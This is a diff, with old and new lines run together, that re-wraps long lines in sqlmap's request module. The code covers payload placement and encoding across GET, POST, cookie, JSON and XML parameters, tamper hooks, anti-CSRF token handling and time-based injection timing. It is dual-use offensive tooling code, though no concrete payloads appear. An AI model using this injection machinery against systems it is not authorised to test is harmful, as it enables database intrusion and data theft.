elif "URLError" in tbMsg or "error" in tbMsg: elif "URLError" in tbMsg or "error" in tbMsg:
@ -913,7 +953,9 @@ class Connect(object):
finally: finally:
if isinstance(page, six.binary_type): if isinstance(page, six.binary_type):
if HTTP_HEADER.CONTENT_TYPE in (responseHeaders or {}) and not re.search(TEXT_CONTENT_TYPE_REGEX, responseHeaders[HTTP_HEADER.CONTENT_TYPE]): if HTTP_HEADER.CONTENT_TYPE in (responseHeaders or {}) and not re.search(TEXT_CONTENT_TYPE_REGEX,
responseHeaders[
HTTP_HEADER.CONTENT_TYPE]):
page = six.text_type(page, errors="ignore") page = six.text_type(page, errors="ignore")
else: else:
page = getUnicode(page) page = getUnicode(page)
@ -951,7 +993,8 @@ class Connect(object):
if conn and getattr(conn, "redurl", None): if conn and getattr(conn, "redurl", None):
_ = _urllib.parse.urlsplit(conn.redurl) _ = _urllib.parse.urlsplit(conn.redurl)
_ = ("%s%s" % (_.path or "/", ("?%s" % _.query) if _.query else "")) _ = ("%s%s" % (_.path or "/", ("?%s" % _.query) if _.query else ""))
requestMsg = re.sub(r"(\n[A-Z]+ ).+?( HTTP/\d)", r"\g<1>%s\g<2>" % getUnicode(_).replace("\\", "\\\\"), requestMsg, 1) requestMsg = re.sub(r"(\n[A-Z]+ ).+?( HTTP/\d)", r"\g<1>%s\g<2>" % getUnicode(_).replace("\\", "\\\\"),
requestMsg, 1)
if kb.resendPostOnRedirect is False: if kb.resendPostOnRedirect is False:
requestMsg = re.sub(r"(\[#\d+\]:\n)POST ", r"\g<1>GET ", requestMsg) requestMsg = re.sub(r"(\[#\d+\]:\n)POST ", r"\g<1>GET ", requestMsg)
@ -965,7 +1008,9 @@ class Connect(object):
if responseHeaders: if responseHeaders:
logHeaders = "".join(getUnicode(responseHeaders.headers)).strip() logHeaders = "".join(getUnicode(responseHeaders.headers)).strip()
logHTTPTraffic(requestMsg, "%s%s\r\n\r\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_READ_SIZE]), start, time.time()) logHTTPTraffic(requestMsg,
"%s%s\r\n\r\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_READ_SIZE]), start,
time.time())
if conf.verbose <= 5: if conf.verbose <= 5:
responseMsg += getUnicode(logHeaders) responseMsg += getUnicode(logHeaders)
@ -979,7 +1024,9 @@ class Connect(object):
@staticmethod @staticmethod
@stackedmethod @stackedmethod
def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True, disableTampering=False, ignoreSecondOrder=False): def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None,
timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None,
removeReflection=True, disableTampering=False, ignoreSecondOrder=False):
""" """
This method calls a function to get the target URL page content This method calls a function to get the target URL page content
and returns its page ratio (0 <= ratio <= 1) or a boolean value and returns its page ratio (0 <= ratio <= 1) or a boolean value
@ -1019,17 +1066,20 @@ class Connect(object):
if conf.httpHeaders: if conf.httpHeaders:
headers = OrderedDict(conf.httpHeaders) headers = OrderedDict(conf.httpHeaders)
contentType = max(headers[_] or "" if _.upper() == HTTP_HEADER.CONTENT_TYPE.upper() else "" for _ in headers) or None contentType = max(
headers[_] or "" if _.upper() == HTTP_HEADER.CONTENT_TYPE.upper() else "" for _ in headers) or None
if (kb.postHint or conf.skipUrlEncode) and postUrlEncode: if (kb.postHint or conf.skipUrlEncode) and postUrlEncode:
postUrlEncode = False postUrlEncode = False
if not (conf.skipUrlEncode and contentType): # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5092 if not (
conf.skipUrlEncode and contentType): # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5092
conf.httpHeaders = [_ for _ in conf.httpHeaders if _[1] != contentType] conf.httpHeaders = [_ for _ in conf.httpHeaders if _[1] != contentType]
contentType = POST_HINT_CONTENT_TYPES.get(kb.postHint, PLAIN_TEXT_CONTENT_TYPE) contentType = POST_HINT_CONTENT_TYPES.get(kb.postHint, PLAIN_TEXT_CONTENT_TYPE)
conf.httpHeaders.append((HTTP_HEADER.CONTENT_TYPE, contentType)) conf.httpHeaders.append((HTTP_HEADER.CONTENT_TYPE, contentType))
if payload: if payload:
delimiter = conf.paramDel or (DEFAULT_GET_POST_DELIMITER if place != PLACE.COOKIE else DEFAULT_COOKIE_DELIMITER) delimiter = conf.paramDel or (
DEFAULT_GET_POST_DELIMITER if place != PLACE.COOKIE else DEFAULT_COOKIE_DELIMITER)
if not disableTampering and kb.tamperFunctions: if not disableTampering and kb.tamperFunctions:
for function in kb.tamperFunctions: for function in kb.tamperFunctions:
@ -1055,40 +1105,55 @@ class Connect(object):
if HINT.PREPEND in hints: if HINT.PREPEND in hints:
if place == PLACE.URI: if place == PLACE.URI:
match = re.search(r"\w+\s*=\s*%s" % PAYLOAD_DELIMITER, value) or re.search(r"[^?%s/]=\s*%s" % (re.escape(delimiter), PAYLOAD_DELIMITER), value) match = re.search(r"\w+\s*=\s*%s" % PAYLOAD_DELIMITER, value) or re.search(
r"[^?%s/]=\s*%s" % (re.escape(delimiter), PAYLOAD_DELIMITER), value)
if match: if match:
value = value.replace(match.group(0), "%s%s%s" % (hints[HINT.PREPEND], delimiter, match.group(0))) value = value.replace(match.group(0),
"%s%s%s" % (hints[HINT.PREPEND], delimiter, match.group(0)))
else: else:
value = "%s%s%s" % (hints[HINT.PREPEND], delimiter, value) value = "%s%s%s" % (hints[HINT.PREPEND], delimiter, value)
logger.log(CUSTOM_LOGGING.PAYLOAD, safecharencode(payload.replace('\\', BOUNDARY_BACKSLASH_MARKER)).replace(BOUNDARY_BACKSLASH_MARKER, '\\')) logger.log(CUSTOM_LOGGING.PAYLOAD, safecharencode(payload.replace('\\', BOUNDARY_BACKSLASH_MARKER)).replace(
BOUNDARY_BACKSLASH_MARKER, '\\'))
if place == PLACE.CUSTOM_POST and kb.postHint: if place == PLACE.CUSTOM_POST and kb.postHint:
if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML): if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
# payloads in SOAP/XML should have chars > and < replaced # payloads in SOAP/XML should have chars > and < replaced
# with their HTML encoded counterparts # with their HTML encoded counterparts
payload = payload.replace('&', "&amp;").replace('>', "&gt;").replace('<', "&lt;").replace('"', "&quot;").replace("'", "&apos;") # Reference: https://stackoverflow.com/a/1091953 payload = payload.replace('&', "&amp;").replace('>', "&gt;").replace('<', "&lt;").replace('"',
"&quot;").replace(
"'", "&apos;") # Reference: https://stackoverflow.com/a/1091953
elif kb.postHint == POST_HINT.JSON: elif kb.postHint == POST_HINT.JSON:
payload = escapeJsonValue(payload) payload = escapeJsonValue(payload)
elif kb.postHint == POST_HINT.JSON_LIKE: elif kb.postHint == POST_HINT.JSON_LIKE:
payload = payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"') payload = payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER,
'"')
payload = escapeJsonValue(payload) payload = escapeJsonValue(payload)
payload = payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"') payload = payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER,
'"')
value = agent.replacePayload(value, payload) value = agent.replacePayload(value, payload)
else: else:
# GET, POST, URI and Cookie payload needs to be thoroughly URL encoded # GET, POST, URI and Cookie payload needs to be thoroughly URL encoded
if (place in (PLACE.GET, PLACE.URI, PLACE.COOKIE) or place == PLACE.CUSTOM_HEADER and value.split(',')[0].upper() == HTTP_HEADER.COOKIE.upper()) and not conf.skipUrlEncode or place in (PLACE.POST, PLACE.CUSTOM_POST) and postUrlEncode: if (place in (PLACE.GET, PLACE.URI, PLACE.COOKIE) or place == PLACE.CUSTOM_HEADER and value.split(',')[
0].upper() == HTTP_HEADER.COOKIE.upper()) and not conf.skipUrlEncode or place in (
PLACE.POST, PLACE.CUSTOM_POST) and postUrlEncode:
skip = False skip = False
if place == PLACE.COOKIE or place == PLACE.CUSTOM_HEADER and value.split(',')[0].upper() == HTTP_HEADER.COOKIE.upper(): if place == PLACE.COOKIE or place == PLACE.CUSTOM_HEADER and value.split(',')[
0].upper() == HTTP_HEADER.COOKIE.upper():
if kb.choices.cookieEncode is None: if kb.choices.cookieEncode is None:
msg = "do you want to URL encode cookie values (implementation specific)? %s" % ("[Y/n]" if not conf.url.endswith(".aspx") else "[y/N]") # Reference: https://support.microsoft.com/en-us/kb/313282 msg = "do you want to URL encode cookie values (implementation specific)? %s" % (
kb.choices.cookieEncode = readInput(msg, default='Y' if not conf.url.endswith(".aspx") else 'N', boolean=True) "[Y/n]" if not conf.url.endswith(
".aspx") else "[y/N]") # Reference: https://support.microsoft.com/en-us/kb/313282
kb.choices.cookieEncode = readInput(msg,
default='Y' if not conf.url.endswith(".aspx") else 'N',
boolean=True)
if not kb.choices.cookieEncode: if not kb.choices.cookieEncode:
skip = True skip = True
if not skip: if not skip:
if place in (PLACE.POST, PLACE.CUSTOM_POST): # potential problems in other cases (e.g. URL encoding of whole URI - including path) if place in (PLACE.POST,
PLACE.CUSTOM_POST): # potential problems in other cases (e.g. URL encoding of whole URI - including path)
value = urlencode(value, spaceplus=kb.postSpaceToPlus) value = urlencode(value, spaceplus=kb.postSpaceToPlus)
payload = urlencode(payload, safe='%', spaceplus=kb.postSpaceToPlus) payload = urlencode(payload, safe='%', spaceplus=kb.postSpaceToPlus)
value = agent.replacePayload(value, payload) value = agent.replacePayload(value, payload)
@ -1107,16 +1172,20 @@ class Connect(object):
for splitter in (urlencode(' '), ' '): for splitter in (urlencode(' '), ' '):
if splitter in payload: if splitter in payload:
prefix, suffix = ("*/", "/*") if splitter == ' ' else (urlencode(_) for _ in ("*/", "/*")) prefix, suffix = ("*/", "/*") if splitter == ' ' else (urlencode(_) for _ in
("*/", "/*"))
parts = payload.split(splitter) parts = payload.split(splitter)
parts[0] = "%s%s" % (parts[0], suffix) parts[0] = "%s%s" % (parts[0], suffix)
parts[-1] = "%s%s=%s%s" % (DEFAULT_GET_POST_DELIMITER, match.group("name"), prefix, parts[-1]) parts[-1] = "%s%s=%s%s" % (
DEFAULT_GET_POST_DELIMITER, match.group("name"), prefix, parts[-1])
for i in xrange(1, len(parts) - 1): for i in xrange(1, len(parts) - 1):
parts[i] = "%s%s=%s%s%s" % (DEFAULT_GET_POST_DELIMITER, match.group("name"), prefix, parts[i], suffix) parts[i] = "%s%s=%s%s%s" % (
DEFAULT_GET_POST_DELIMITER, match.group("name"), prefix, parts[i], suffix)
payload = "".join(parts) payload = "".join(parts)
for splitter in (urlencode(','), ','): for splitter in (urlencode(','), ','):
payload = payload.replace(splitter, "%s%s=" % (DEFAULT_GET_POST_DELIMITER, match.group("name"))) payload = payload.replace(splitter,
"%s%s=" % (DEFAULT_GET_POST_DELIMITER, match.group("name")))
value = agent.replacePayload(value, payload) value = agent.replacePayload(value, payload)
else: else:
@ -1138,7 +1207,8 @@ class Connect(object):
post = value post = value
if PLACE.CUSTOM_POST in conf.parameters: if PLACE.CUSTOM_POST in conf.parameters:
post = conf.parameters[PLACE.CUSTOM_POST].replace(kb.customInjectionMark, "") if place != PLACE.CUSTOM_POST or not value else value post = conf.parameters[PLACE.CUSTOM_POST].replace(kb.customInjectionMark,
"") if place != PLACE.CUSTOM_POST or not value else value
post = post.replace(ASTERISK_MARKER, '*') if post else post post = post.replace(ASTERISK_MARKER, '*') if post else post
if PLACE.COOKIE in conf.parameters: if PLACE.COOKIE in conf.parameters:
@ -1175,11 +1245,13 @@ class Connect(object):
match = re.search(r"%s=[^&]*" % re.escape(parameter), paramString, re.I) match = re.search(r"%s=[^&]*" % re.escape(parameter), paramString, re.I)
if match: if match:
retVal = re.sub(r"(?i)%s" % re.escape(match.group(0)), ("%s=%s" % (parameter, newValue)).replace('\\', r'\\'), paramString) retVal = re.sub(r"(?i)%s" % re.escape(match.group(0)),
("%s=%s" % (parameter, newValue)).replace('\\', r'\\'), paramString)
else: else:
match = re.search(r"(%s[\"']:[\"'])([^\"']+)" % re.escape(parameter), paramString, re.I) match = re.search(r"(%s[\"']:[\"'])([^\"']+)" % re.escape(parameter), paramString, re.I)
if match: if match:
retVal = re.sub(r"(?i)%s" % re.escape(match.group(0)), "%s%s" % (match.group(1), newValue), paramString) retVal = re.sub(r"(?i)%s" % re.escape(match.group(0)), "%s%s" % (match.group(1), newValue),
paramString)
return retVal return retVal
@ -1188,29 +1260,46 @@ class Connect(object):
break break
if attempt > 0: if attempt > 0:
warnMsg = "unable to find anti-CSRF token '%s' at '%s'" % (conf.csrfToken._original, conf.csrfUrl or conf.url) warnMsg = "unable to find anti-CSRF token '%s' at '%s'" % (
conf.csrfToken._original, conf.csrfUrl or conf.url)
warnMsg += ". sqlmap is going to retry the request" warnMsg += ". sqlmap is going to retry the request"
logger.warning(warnMsg) logger.warning(warnMsg)
page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.csrfData or (conf.data if conf.csrfUrl == conf.url else None), method=conf.csrfMethod or (conf.method if conf.csrfUrl == conf.url else None), cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST)) page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.csrfData or (
page = urldecode(page) # for anti-CSRF tokens with special characters in their name (e.g. 'foo:bar=...') conf.data if conf.csrfUrl == conf.url else None), method=conf.csrfMethod or (
conf.method if conf.csrfUrl == conf.url else None), cookie=conf.parameters.get(PLACE.COOKIE),
direct=True, silent=True,
ua=conf.parameters.get(PLACE.USER_AGENT),
referer=conf.parameters.get(PLACE.REFERER),
host=conf.parameters.get(PLACE.HOST))
page = urldecode(
page) # for anti-CSRF tokens with special characters in their name (e.g. 'foo:bar=...')
match = re.search(r"(?i)<input[^>]+\bname=[\"']?(?P<name>%s)\b[^>]*\bvalue=[\"']?(?P<value>[^>'\"]*)" % conf.csrfToken, page or "", re.I) match = re.search(
r"(?i)<input[^>]+\bname=[\"']?(?P<name>%s)\b[^>]*\bvalue=[\"']?(?P<value>[^>'\"]*)" % conf.csrfToken,
page or "", re.I)
if not match: if not match:
match = re.search(r"(?i)<input[^>]+\bvalue=[\"']?(?P<value>[^>'\"]*)[\"']?[^>]*\bname=[\"']?(?P<name>%s)\b" % conf.csrfToken, page or "", re.I) match = re.search(
r"(?i)<input[^>]+\bvalue=[\"']?(?P<value>[^>'\"]*)[\"']?[^>]*\bname=[\"']?(?P<name>%s)\b" % conf.csrfToken,
page or "", re.I)
if not match: if not match:
match = re.search(r"(?P<name>%s)[\"']:[\"'](?P<value>[^\"']+)" % conf.csrfToken, page or "", re.I) match = re.search(r"(?P<name>%s)[\"']:[\"'](?P<value>[^\"']+)" % conf.csrfToken, page or "",
re.I)
if not match: if not match:
match = re.search(r"\b(?P<name>%s)\s*[:=]\s*(?P<value>\w+)" % conf.csrfToken, getUnicode(headers), re.I) match = re.search(r"\b(?P<name>%s)\s*[:=]\s*(?P<value>\w+)" % conf.csrfToken,
getUnicode(headers), re.I)
if not match: if not match:
match = re.search(r"\b(?P<name>%s)\s*=\s*['\"]?(?P<value>[^;'\"]+)" % conf.csrfToken, page or "", re.I) match = re.search(r"\b(?P<name>%s)\s*=\s*['\"]?(?P<value>[^;'\"]+)" % conf.csrfToken,
page or "", re.I)
if not match: if not match:
match = re.search(r"<meta\s+name=[\"']?(?P<name>%s)[\"']?[^>]+\b(value|content)=[\"']?(?P<value>[^>\"']+)" % conf.csrfToken, page or "", re.I) match = re.search(
r"<meta\s+name=[\"']?(?P<name>%s)[\"']?[^>]+\b(value|content)=[\"']?(?P<value>[^>\"']+)" % conf.csrfToken,
page or "", re.I)
if match: if match:
token.name, token.value = match.group("name"), match.group("value") token.name, token.value = match.group("name"), match.group("value")
@ -1229,17 +1318,21 @@ class Connect(object):
for _ in conf.cj: for _ in conf.cj:
if re.search(conf.csrfToken, _.name, re.I): if re.search(conf.csrfToken, _.name, re.I):
token.name, token.value = _.name, _.value token.name, token.value = _.name, _.value
if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))): if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in
(conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))):
if post: if post:
post = "%s%s%s=%s" % (post, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value) post = "%s%s%s=%s" % (
post, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value)
elif get: elif get:
get = "%s%s%s=%s" % (get, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value) get = "%s%s%s=%s" % (
get, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value)
else: else:
get = "%s=%s" % (token.name, token.value) get = "%s=%s" % (token.name, token.value)
break break
if not token: if not token:
errMsg = "anti-CSRF token '%s' can't be found at '%s'" % (conf.csrfToken._original, conf.csrfUrl or conf.url) errMsg = "anti-CSRF token '%s' can't be found at '%s'" % (
conf.csrfToken._original, conf.csrfUrl or conf.url)
if not conf.csrfUrl: if not conf.csrfUrl:
errMsg += ". You can try to rerun by providing " errMsg += ". You can try to rerun by providing "
errMsg += "a valid value for option '--csrf-url'" errMsg += "a valid value for option '--csrf-url'"
@ -1267,13 +1360,16 @@ class Connect(object):
match = re.search(r"(\A|\b)%s=(?P<value>[^&;]*)" % re.escape(randomParameter), paramString) match = re.search(r"(\A|\b)%s=(?P<value>[^&;]*)" % re.escape(randomParameter), paramString)
if match: if match:
origValue = match.group("value") origValue = match.group("value")
newValue = randomizeParameterValue(origValue) if randomParameter not in kb.randomPool else random.sample(kb.randomPool[randomParameter], 1)[0] newValue = randomizeParameterValue(origValue) if randomParameter not in kb.randomPool else \
retVal = re.sub(r"(\A|\b)%s=[^&;]*" % re.escape(randomParameter), "%s=%s" % (randomParameter, newValue), paramString) random.sample(kb.randomPool[randomParameter], 1)[0]
retVal = re.sub(r"(\A|\b)%s=[^&;]*" % re.escape(randomParameter),
"%s=%s" % (randomParameter, newValue), paramString)
else: else:
match = re.search(r"(\A|\b)(%s\b[^\w]+)(?P<value>\w+)" % re.escape(randomParameter), paramString) match = re.search(r"(\A|\b)(%s\b[^\w]+)(?P<value>\w+)" % re.escape(randomParameter), paramString)
if match: if match:
origValue = match.group("value") origValue = match.group("value")
newValue = randomizeParameterValue(origValue) if randomParameter not in kb.randomPool else random.sample(kb.randomPool[randomParameter], 1)[0] newValue = randomizeParameterValue(origValue) if randomParameter not in kb.randomPool else \
random.sample(kb.randomPool[randomParameter], 1)[0]
retVal = paramString.replace(match.group(0), "%s%s" % (match.group(2), newValue)) retVal = paramString.replace(match.group(0), "%s%s" % (match.group(2), newValue))
return retVal return retVal
@ -1350,7 +1446,8 @@ class Connect(object):
conf.evalCode = conf.evalCode.replace(EVALCODE_ENCODED_PREFIX, "") conf.evalCode = conf.evalCode.replace(EVALCODE_ENCODED_PREFIX, "")
break break
else: else:
conf.evalCode = conf.evalCode.replace(getUnicode(ex.text.strip(), UNICODE_ENCODING), replacement) conf.evalCode = conf.evalCode.replace(getUnicode(ex.text.strip(), UNICODE_ENCODING),
replacement)
else: else:
break break
else: else:
@ -1390,7 +1487,8 @@ class Connect(object):
found = True found = True
first = match.group(0) first = match.group(0)
second = part[len(first):] second = part[len(first):]
second = re.sub(r"(?s).+?(\r?\n?\-*\Z)", r"%s\g<1>" % re.escape(value), second) second = re.sub(r"(?s).+?(\r?\n?\-*\Z)", r"%s\g<1>" % re.escape(value),
second)
parts[i] = "%s%s" % (first, second) parts[i] = "%s%s" % (first, second)
post = boundary.join(parts) post = boundary.join(parts)
@ -1398,20 +1496,27 @@ class Connect(object):
if kb.postHint in (POST_HINT.XML, POST_HINT.SOAP): if kb.postHint in (POST_HINT.XML, POST_HINT.SOAP):
if re.search(r"<%s\b" % re.escape(name), post): if re.search(r"<%s\b" % re.escape(name), post):
found = True found = True
post = re.sub(r"(?s)(<%s\b[^>]*>)(.*?)(</%s)" % (re.escape(name), re.escape(name)), r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), post) post = re.sub(r"(?s)(<%s\b[^>]*>)(.*?)(</%s)" % (re.escape(name), re.escape(name)),
r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), post)
elif re.search(r"\b%s>" % re.escape(name), post): elif re.search(r"\b%s>" % re.escape(name), post):
found = True found = True
post = re.sub(r"(?s)(\b%s>)(.*?)(</[^<]*\b%s>)" % (re.escape(name), re.escape(name)), r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), post) post = re.sub(
r"(?s)(\b%s>)(.*?)(</[^<]*\b%s>)" % (re.escape(name), re.escape(name)),
r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), post)
elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE): elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE):
match = re.search(r"['\"]%s['\"]:" % re.escape(name), post) match = re.search(r"['\"]%s['\"]:" % re.escape(name), post)
if match: if match:
quote = match.group(0)[0] quote = match.group(0)[0]
post = post.replace("\\%s" % quote, BOUNDARY_BACKSLASH_MARKER) post = post.replace("\\%s" % quote, BOUNDARY_BACKSLASH_MARKER)
match = re.search(r"(%s%s%s:\s*)(\d+|%s[^%s]*%s)" % (quote, re.escape(name), quote, quote, quote, quote), post) match = re.search(r"(%s%s%s:\s*)(\d+|%s[^%s]*%s)" % (
quote, re.escape(name), quote, quote, quote, quote), post)
if match: if match:
found = True found = True
post = post.replace(match.group(0), "%s%s" % (match.group(1), value if value.isdigit() else "%s%s%s" % (match.group(0)[0], value, match.group(0)[0]))) post = post.replace(match.group(0), "%s%s" % (match.group(1),
value if value.isdigit() else "%s%s%s" % (
match.group(0)[0], value,
match.group(0)[0])))
post = post.replace(BOUNDARY_BACKSLASH_MARKER, "\\%s" % quote) post = post.replace(BOUNDARY_BACKSLASH_MARKER, "\\%s" % quote)
regex = r"\b(%s)\b([^\w]+)(\w+)" % re.escape(name) regex = r"\b(%s)\b([^\w]+)(\w+)" % re.escape(name)
@ -1419,7 +1524,8 @@ class Connect(object):
found = True found = True
post = re.sub(regex, r"\g<1>\g<2>%s" % value.replace('\\', r'\\'), post) post = re.sub(regex, r"\g<1>\g<2>%s" % value.replace('\\', r'\\'), post)
regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(delimiter), re.escape(name), re.escape(delimiter)) regex = r"((\A|%s)%s=).+?(%s|\Z)" % (
re.escape(delimiter), re.escape(name), re.escape(delimiter))
if not found and re.search(regex, (post or "")): if not found and re.search(regex, (post or "")):
found = True found = True
post = re.sub(regex, r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), post) post = re.sub(regex, r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), post)
@ -1432,7 +1538,9 @@ class Connect(object):
found = True found = True
uri = re.sub(regex.replace(r"\A", r"\?"), r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), uri) uri = re.sub(regex.replace(r"\A", r"\?"), r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), uri)
regex = r"((\A|%s\s*)%s=).+?(%s|\Z)" % (re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), re.escape(name), re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER)) regex = r"((\A|%s\s*)%s=).+?(%s|\Z)" % (
re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), re.escape(name),
re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER))
if re.search(regex, (cookie or "")): if re.search(regex, (cookie or "")):
found = True found = True
cookie = re.sub(regex, r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), cookie) cookie = re.sub(regex, r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), cookie)
@ -1443,7 +1551,10 @@ class Connect(object):
match = re.search(r"['\"]", post) match = re.search(r"['\"]", post)
if match: if match:
quote = match.group(0) quote = match.group(0)
post = re.sub(r"\}\Z", "%s%s}" % (',' if re.search(r"\w", post) else "", "%s%s%s:%s" % (quote, name, quote, value if value.isdigit() else "%s%s%s" % (quote, value, quote))), post) post = re.sub(r"\}\Z", "%s%s}" % (',' if re.search(r"\w", post) else "",
"%s%s%s:%s" % (quote, name, quote,
value if value.isdigit() else "%s%s%s" % (
quote, value, quote))), post)
else: else:
post += "%s%s=%s" % (delimiter, name, value) post += "%s%s=%s" % (delimiter, name, value)
elif get is not None: elif get is not None:
@ -1471,12 +1582,15 @@ class Connect(object):
warnMsg += "time-based injections because of inherent high latency time" warnMsg += "time-based injections because of inherent high latency time"
singleTimeWarnMessage(warnMsg) singleTimeWarnMessage(warnMsg)
warnMsg = "[%s] [WARNING] %stime-based comparison requires " % (time.strftime("%X"), "(case) " if kb.responseTimeMode else "") warnMsg = "[%s] [WARNING] %stime-based comparison requires " % (
warnMsg += "%s statistical model, please wait" % ("larger" if len(kb.responseTimes) == 1 else "reset of") time.strftime("%X"), "(case) " if kb.responseTimeMode else "")
warnMsg += "%s statistical model, please wait" % (
"larger" if len(kb.responseTimes) == 1 else "reset of")
dataToStdout(warnMsg) dataToStdout(warnMsg)
while len(kb.responseTimes[kb.responseTimeMode]) < MIN_TIME_RESPONSES: while len(kb.responseTimes[kb.responseTimeMode]) < MIN_TIME_RESPONSES:
value = kb.responseTimePayload.replace(RANDOM_INTEGER_MARKER, str(randomInt(6))).replace(RANDOM_STRING_MARKER, randomStr()) if kb.responseTimePayload else kb.responseTimePayload value = kb.responseTimePayload.replace(RANDOM_INTEGER_MARKER, str(randomInt(6))).replace(
RANDOM_STRING_MARKER, randomStr()) if kb.responseTimePayload else kb.responseTimePayload
Connect.queryPage(value=value, content=True, raise404=False) Connect.queryPage(value=value, content=True, raise404=False)
dataToStdout('.') dataToStdout('.')
@ -1506,9 +1620,11 @@ class Connect(object):
kb.queryCounter += 1 kb.queryCounter += 1
if kb.queryCounter % conf.safeFreq == 0: if kb.queryCounter % conf.safeFreq == 0:
if conf.safeUrl: if conf.safeUrl:
Connect.getPage(url=conf.safeUrl, post=conf.safePost, cookie=cookie, direct=True, silent=True, ua=ua, referer=referer, host=host) Connect.getPage(url=conf.safeUrl, post=conf.safePost, cookie=cookie, direct=True, silent=True,
ua=ua, referer=referer, host=host)
elif kb.safeReq: elif kb.safeReq:
Connect.getPage(url=kb.safeReq.url, post=kb.safeReq.post, method=kb.safeReq.method, auxHeaders=kb.safeReq.headers) Connect.getPage(url=kb.safeReq.url, post=kb.safeReq.post, method=kb.safeReq.method,
auxHeaders=kb.safeReq.headers)
start = time.time() start = time.time()
@ -1524,14 +1640,19 @@ class Connect(object):
elif kb.nullConnection == NULLCONNECTION.RANGE: elif kb.nullConnection == NULLCONNECTION.RANGE:
auxHeaders[HTTP_HEADER.RANGE] = "bytes=-1" auxHeaders[HTTP_HEADER.RANGE] = "bytes=-1"
_, headers, code = Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, auxHeaders=auxHeaders, raise404=raise404, skipRead=(kb.nullConnection == NULLCONNECTION.SKIP_READ)) _, headers, code = Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua,
referer=referer, host=host, silent=silent, auxHeaders=auxHeaders,
raise404=raise404,
skipRead=(kb.nullConnection == NULLCONNECTION.SKIP_READ))
if headers: if headers:
try: try:
if kb.nullConnection in (NULLCONNECTION.HEAD, NULLCONNECTION.SKIP_READ) and headers.get(HTTP_HEADER.CONTENT_LENGTH): if kb.nullConnection in (NULLCONNECTION.HEAD, NULLCONNECTION.SKIP_READ) and headers.get(
HTTP_HEADER.CONTENT_LENGTH):
pageLength = int(headers[HTTP_HEADER.CONTENT_LENGTH].split(',')[0]) pageLength = int(headers[HTTP_HEADER.CONTENT_LENGTH].split(',')[0])
elif kb.nullConnection == NULLCONNECTION.RANGE and headers.get(HTTP_HEADER.CONTENT_RANGE): elif kb.nullConnection == NULLCONNECTION.RANGE and headers.get(HTTP_HEADER.CONTENT_RANGE):
pageLength = int(headers[HTTP_HEADER.CONTENT_RANGE][headers[HTTP_HEADER.CONTENT_RANGE].find('/') + 1:]) pageLength = int(
headers[HTTP_HEADER.CONTENT_RANGE][headers[HTTP_HEADER.CONTENT_RANGE].find('/') + 1:])
except ValueError: except ValueError:
pass pass
finally: finally:
@ -1539,7 +1660,10 @@ class Connect(object):
if pageLength is None: if pageLength is None:
try: try:
page, headers, code = Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, auxHeaders=auxHeaders, response=response, raise404=raise404, ignoreTimeout=timeBasedCompare) page, headers, code = Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua,
referer=referer, host=host, silent=silent, auxHeaders=auxHeaders,
response=response, raise404=raise404,
ignoreTimeout=timeBasedCompare)
except MemoryError: except MemoryError:
page, headers, code = None, None, None page, headers, code = None, None, None
warnMsg = "site returned insanely large response" warnMsg = "site returned insanely large response"
@ -1550,7 +1674,9 @@ class Connect(object):
if not ignoreSecondOrder: if not ignoreSecondOrder:
if conf.secondUrl: if conf.secondUrl:
